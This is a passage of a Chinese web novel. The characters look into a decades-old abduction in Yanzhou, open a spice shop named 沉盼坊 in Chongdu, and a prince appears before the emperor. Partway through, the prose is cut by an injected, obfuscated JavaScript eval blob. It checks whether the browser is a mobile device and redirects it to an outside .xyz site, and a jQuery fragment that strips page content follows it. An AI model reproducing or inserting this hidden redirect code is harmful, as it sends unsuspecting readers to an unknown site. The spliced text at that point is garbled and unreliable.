帘后传来笑声,见温代同样面带笑意,岳华绮和陆川一脸疑惑地看向走出来的男子。
“廖班主,许久不见。”
温代转身向二人解释道,“这位就是当年长熙班的廖班主,也是收留我和凌妤的人。”
岳华绮和陆川向廖非云点头致意,面前之人头发已有些花白,声音却依旧浑厚有力。
只听他笑着开口,“真是许久了,我都老了。”
几人坐下,温代与廖非云简单讲述了这么多年发生的事,听到凌妤如今还好好活着,腾宁雪却早早过世,廖非云面露遗憾之色。
“宁雪这小姑娘,那时候常来这里看戏,活泼又机灵,真是可惜了。”
说完他瞧见陆川听得认真,便仔细打量起他的面容,托着下巴问道,“你,是不是宁雪的孩子?”
陆川点了点头,廖非云看着他,思索犹豫后还是道出了埋在他心里许久的那件事。
连温代也不知晓的事。
“这件事也曾困扰我许久,但时间过去太久,我的记忆也淡了许多,如今见到你们才想起来些。”
“二十多年前,我依稀记得北街上有街坊说,将宁雪掳走的那帮匪徒,行事怪异,此前从未见过,不像是雁州人。”
三人都愣住,陆川先开口问道,“为何说行事怪异?”
廖非云皱了皱眉,努力回想,“这我也记不太清了,或许你们可以去北街问问,可能还有人知道。”
“多谢。”
三人起身离开之际,廖非云叫住了温代,问道,“还未听你介绍,这位姑娘是?”
岳华绮看向温代,见她犹豫,便明白因为温代如今的身份和当年的事,两人的关系是不可说的。
“廖伯伯,我是温姨朋友的女儿,此行是跟着来雁州游玩的。”
温代听着心里有些不是滋味,却无可奈何,身在锁镜门,步履维艰。
即使是门主,身边也危机四伏,有更多人知道她们的关系,就更容易将岳华绮置于危险中。
“我们就先告辞了,再会。”
三人离开前往北街,而廖非云作为将温代带大的人,又怎会认不出来举手投足都像极了她的人。
温代带着陆川和岳华绮前往北街腾家旧址。
如今那里已是一片空地,丝毫不见老房子的半点痕迹,只有一只野猫在阳光下打盹。
北街已和温代记忆中的模样截然不同,往来做生意的人变多了,老房子也都翻了新。
一户户问过去,许多人都是后来搬到此处,老街坊已寥寥无几。
岳华绮注意到街角有家小铺子,门边斜靠了根拐棒,猜想里头可能有腿脚不便的老者,拉着二人上前试图询问。
果然,边上坐着一位年迈老者。
岳华绮半蹲下来轻声开口,“婆婆,打扰一下,请问您还记得以前住在这里的腾家吗?”
“你是?”
听她这么一问,老人身后走出来一位妇人。
岳华绮借口称他们是腾家的远房表亲,想来找找他们的消息。
陆川既是腾家的后代,温代也是腾宁雪的旧友,这么说也不算太过欺瞒。
老人听后沉默了一会儿,无奈地摇摇头。
“他们家定是惹到了什么人,要么就是早被谁给盯上了。”
几人一下紧张起来,只听老人继续说道,“那年匪徒到北街来,哪像是趁乱四处打劫,分明是带着目的来的,只掳走了腾家姑娘一人。”
“又不是雁州人,不常来北街,哪里会凑巧知道腾家有个漂亮姑娘,还放火烧了他们家。”
老人也只记得这些,其余问不出什么,而从北街其他老街坊那里探听到的也大抵类似。
岳华绮和陆川站在桥上,看着前方静静流淌的河,岳华绮察觉到陆川的情绪。
其实听了他们说的那些话,又想起之前凌妤说腾宁雪正好被当时身为王爷的文帝救了,两人心中都有了同样的猜测。
可时间已经过去太久,眼下也再找不到更多的消息。
岳华绮拍了拍陆川的肩膀,面向他郑重地说道,“或许我并不能做到完全与你感同身受,也不知道什么话才能让你好受些,但我想说,如果你想深究真相,我支持你,如果你不想,困惑不解时也可以和我说说,我会认真倾听的。”
深究下去,他就要和文帝面对面直接提起此事,而不深究,便是让自己逐渐淡忘。
如今陆川自己也还没有想好,但听到面前之人如此说,他对上了她眼神中的坚定,心中泛起涟漪,面上重新挂上了笑容。
岳华绮常常能察觉到身边之人微小的情绪,可她却不太会安慰人,也怕特意去说些不擅长的话反而会弄巧成拙。
“华绮,谢谢你。”
此刻,周遭的风仿佛也不再带有寒意。
崇都微风和煦,与温代在雁州匆匆告别后不久,一行人便抵达了南垣。
舟车劳顿,岳华绮在岳宗晟为其安排好的宅子里歇了几日。
这几日在云蝶的陪同下岳华绮在崇都四处转了转,发觉崇都百姓比玄州百姓更为热情,她这转了一圈就被好些人拉着聊上了。
岳华绮自然没错过这个好机会,顺便为自家的生意宣传了一把。
岳式钱庄主要由章管事负责打理,岳华绮每月会去察看情况,而她主要掌管的是即将开业的香铺。
南垣因地理与气候原因,本土并不盛产草本原料,更不用说外来的木本原料。
岳华绮初步打算在香铺里卖些常见的香丸、香牌等成品,再根据这里人的偏好决定是否售卖原料或其他东西。
“云蝶,你觉得名字就叫‘沉盼坊’怎么样?铺子的外观陈设虽然要有特色,但不能和整条街其他铺子格格不入,还有,你吩咐下去,要招几个当地人来帮工。”
除了岳华绮自己,岳家也一同来了两位原在玄州香铺里制香的人,巧叔和洛娘。
巧叔精通制香技艺,而洛娘不仅懂香,还通医术,铺子开得不小,若是往后人多了,他二人还可以教授些技艺给店里的其他人来帮忙。
边商量边思考,岳华绮奋笔疾书写了一连串要忙活的事情
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502971|186045||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,盘算来盘算去没什么遗漏的,满意地点点头。
“干活!”
皇宫伏安殿内,文帝坐于中央。
“儿臣参见父皇。”
陆川换上了皇子装束,与陆宣一同来到殿内。
文帝心情大好,放下毛笔,却并未起身。
“免礼。你二人这次可立了功。是川儿吧?宣儿之前向孤请命时,孤还拿不定主意,没成想你竟真的配合宣儿拿下了雁州。”
“这皆是儿臣分内之事,儿臣也只是听从二哥的安排,此事还是多亏二哥有远见。”
陆川始终半低着头,恭敬地回话。
“不必过谦,此前你各地周游,不常回崇都,如今成年的其他几位皇子孤都划了地也分派了军队,在崇都也各自建了府邸,你意下如何?”
陆川注意到文帝继续看起了桌上的折子,显然他也并不在意此事,便答道,“儿臣想在西街上选一住处,至于地,全听父皇安排。”
文帝抬手,身旁的李公公上前,“西街?那里商贩多,倒是繁华,你若不嫌吵便让李公公吩咐下去。地的事既不急,便再想想吧。”
走出伏安殿,陆宣拉过陆川,“阿川。”
“二哥,我如今不急着要地,一来是我刚回崇都,新陈一事已让你我被许多眼睛盯上,此事如若操之过急,反倒容易成为众矢之的。”
“二来,如今我暂时还不想离开崇都。”
陆川知道陆宣想问什么,他一踏入南垣,其他皇子与各朝臣便紧紧盯着他们的动作,唯恐多出一个竞争对手。
陆宣微微点头,“陆哲在新陈便派人暗中监视,眼下你回来,任在谁的眼里你都同我站到一起,以后行事更是要谨慎。”
“即已发生我便会走到底,至于最后我要的……”
“这点你放心,我不会食言。对了,你为何想住到西街去?听说新陈那个岳家的姑娘和你一起来了南垣?”
西街,写着“沉盼坊”三个字的牌匾被红布挡上,高高挂起,铺子里岳华绮正招呼着布置陈设,张贴红联。
“小姐,看了告示来应招之人已在后院了。”
岳华绮擦了擦手前往后院,扫了一眼名单,竟有三十来人。
可见了十个出头,她便只剩满脸无奈。
本想着若是崇都人普遍都不太懂香料,那选几个踏实能干的教一教便好,或是分去包装结账,或是张罗着扩大铺子的名声也行。
没想到来的人大多是冲着月钱高,既不懂香料也不懂算术的比比皆是,甚至看上去靠谱的也没几个。
思来想去岳华绮觉得可能是初到崇都,百姓们觉得既没名声也不知会开多久,想来的人都还在观望。
不过想来刚开业也不会太忙,不用招很多人,岳华绮劝着自己选两个看上去靠谱的便好。
“下一个。”
“好久不见。”
听这声音有些耳熟,岳华绮一抬头便对上了汤禧的眼神,放下笔仔细看起手中的纸,再抬头确认眼前之人的容貌。
“多久没见,这是忘记我了?”